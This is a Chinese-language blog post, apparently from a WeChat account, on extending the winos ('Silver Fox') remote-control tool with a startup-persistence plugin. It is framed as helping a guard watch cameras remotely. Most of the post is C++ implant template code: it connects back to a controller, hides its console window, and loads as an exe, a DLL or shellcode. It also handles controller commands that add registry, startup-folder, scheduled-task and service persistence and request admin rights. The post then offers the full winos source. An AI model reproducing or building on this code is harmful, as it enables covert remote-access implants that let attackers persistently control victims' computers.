特别申明:
本文介绍的内容仅做技术上的交流,请勿使用本文介绍的技术做其他用途,违者与本号无关。

最近和小区的保安大叔闲聊,他说他每天需要在夜里骑个自行车去机房挨个看监控,我说给最近在搞一个远控软件,可以远程看,于是我给他演示了一下winos的屏幕墙效果。

大叔看到后觉得效果挺好,于是我花了一下午给他挨个安装了一下,当然我这个版本后门全部去掉了,并做了很多优化,稳定性和安全不用担心。
但是大叔再用了两天,和我反馈说,问题只解决了一般,机器重启后,被控程序需要手动启动,太繁琐了。于是我又花了一天写了个自启动插件,这样把被控添加到自启动中,下次开机就能自启动了。
这是我给winos扩展的第一个插件,很多搞安全的同学也想知道如何给winos扩展自己的插件。winos在扩展性方面做的很好,目前支持两类插件,一种是标准插件,一种是扩展插件,标准插件就类似于远程聊天和远程屏幕这种,扩展插件加载后出现在被控列表右键菜单“扩展插件”菜单项中,从代码逻辑上来说,标准插件要比扩展插件复杂,功能更强大。
那如何扩展一个标准插件呢?
首先你要搞清楚winos的插件加载机制,如果你不熟悉这个流程,可以看这篇文章。
我这里以扩展一个自启动插件为例,在 主插件.sln 中新增一个VS工程,设置工程的x86和x64的输出目录。

然后新建的一个 xyz.cpp 文件(xyz换成你的功能名即可),这个文件放程序入口逻辑,为了同时支持exe、dll和shellcode,需要定义如下名称的接口:
// 启动管理.cpp//#include "stdafx.h"#include "StartupManager.h"struct plugInfo{ char mark[30]; //标记 TCHAR szAddress[255]; //ip DWORD szPort; //端口 BOOL IsTcp; BOOL RunDllEntryProc;} MyInfo ={"plugmark", _T("127.0.0.1"), 6669, 1, 0,};HANDLE hThread = NULL;DWORD WINAPI MainThread(LPVOID dllMainThread){ ISocketBase* socketClient;if (MyInfo.IsTcp == 1) socketClient = new CTcpSocket();else socketClient = new CUdpSocket();if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort)) { // 这里放你的插件功能逻辑类 CStartupManager manager(socketClient); socketClient->run_event_loop(); } SAFE_DELETE(socketClient);if (MyInfo.RunDllEntryProc) ExitProcess(0);return 0;}#ifndef _WINDLL// 如果你想exe调试功能,写一下WinMain函数的实现,但是要使用宏与下面的dll相关的函数互斥int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR szCmdLine, int iCmdShow){ SetUnhandledExceptionFilter(ExceptionFilter); // 让启动程序时的小漏斗马上消失 ShowWindow(GetConsoleWindow(), SW_HIDE); PostThreadMessageA(GetCurrentThreadId(), NULL, 0, 0); GetInputState(); hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0); //启动线程 WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); Sleep(300);return 0;}#endif// 这些是模版,照抄即可,支持dll和shellcode运行BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ switch (ul_reason_for_call) {case DLL_PROCESS_ATTACH: {#ifdef _DEBUG // debug版本为了便于调试,会从本地磁盘加载对应的dll文件,然后调用该dll的导出函数run#elseif (MyInfo.RunDllEntryProc && (hThread == NULL)) { hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0); //启动线程 WaitForSingleObject(hThread, INFINITE); }#endif }break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break; }return TRUE;}// 这些是模版,照抄即可,支持dll和shellcode运行extern "C" __declspec(dllexport) bool Main(TCHAR * ip, DWORD port, BOOL IsTcp, BOOL RunDllEntryProc){ _tcscpy_s(MyInfo.szAddress, ip); MyInfo.szPort = port; MyInfo.IsTcp = IsTcp; MyInfo.RunDllEntryProc = RunDllEntryProc; hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0); //启动线程 WaitForSingleObject(hThread, INFINITE); Sleep(300);return 0;}// 这些是模版,照抄即可,支持dll和shellcode运行extern "C" __declspec(dllexport) bool run(){ HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0); //启动线程 WaitForSingleObject(hThread, INFINITE); Sleep(300);return 0;}上述代码中:
CStartupManager manager(socketClient);即是我们的插件的功能,CStartupManager类要继承CManager,且必须改写void OnReceive(LPBYTE lpBuffer, UINT nSize)方法,在这个方法中,处理主控给我们发的命令:
class CStartupManager : public CManager{public: CStartupManager(ISocketBase* pClient); virtual ~CStartupManager(); virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);private: void SendStartupStatus(); void OnHandleStartupResponse(int8_t cmd, bool enable, bool success); void OnHandleRunAsAdmin(); bool IsStartupItemExistsInRegistry(); bool IsStartupItemExistsInStartupFolder(); bool IsScheduledTaskExists(); bool IsServiceExists(); /** * @param: add true,添加至注册表启动,false,删除注册表启动 */ bool SetRegistryStart(bool add); bool AddOrDeleteService(bool add); bool CopyOrRemoveFromStartupDir(bool add); // 可以通过taskschd.msc查看 bool AddScheduledTask(); bool RemoveScheduledTask();private: BOOL m_buser;};我这里需要处理添加开机启动项等逻辑:
void CStartupManager::OnReceive(LPBYTE lpBuffer, UINT nSize){if (lpBuffer[0] == TOKEN_HEARTBEAT)return; switch (lpBuffer[0]) {case COMMAND_STARTUP_STATUS_REQUEST: // 发送启动状态 SendStartupStatus();break;case COMMAND_STARTUP_REGISTRY_REQUEST: { StartupRequest startupRequest; memcpy(&startupRequest, lpBuffer, sizeof(startupRequest)); bool success = SetRegistryStart(startupRequest.enable); OnHandleStartupResponse(COMMAND_STARTUP_REGISTRY_RESPONSE, startupRequest.enable, success); }break;case COMMAND_STARTUP_FOLDER_REQUEST: { StartupRequest startupRequest; memcpy(&startupRequest, lpBuffer, sizeof(startupRequest)); bool success = CopyOrRemoveFromStartupDir(startupRequest.enable); OnHandleStartupResponse(COMMAND_STARTUP_FOLDER_RESPONSE, startupRequest.enable, success); }break;case COMMAND_STARTUP_SCHEDULED_TASK_REQUEST: { StartupRequest startupRequest; memcpy(&startupRequest, lpBuffer, sizeof(startupRequest)); bool success;if (startupRequest.enable) success = AddScheduledTask();else success = RemoveScheduledTask(); OnHandleStartupResponse(COMMAND_STARTUP_SCHEDULED_TASK_RESPONSE, startupRequest.enable, success); }break;case COMMAND_STARTUP_SERVICE_REQUEST: { StartupRequest startupRequest; memcpy(&startupRequest, lpBuffer, sizeof(startupRequest)); bool success = AddOrDeleteService(startupRequest.enable); OnHandleStartupResponse(COMMAND_STARTUP_SERVICE_RESPONSE, startupRequest.enable, success); }break;case COMMAND_STARTUP_RUNASADMIN_REQUEST: { OnHandleRunAsAdmin(); }break; default:break; }}最后效果如下:


这样,大叔的问题就解决了。
源码获取
如果对银狐(winos)有兴趣,可以通过下面的方式获取全套源码:
关注后回复【winos】即可获取源码
推荐阅读
夜雨聆风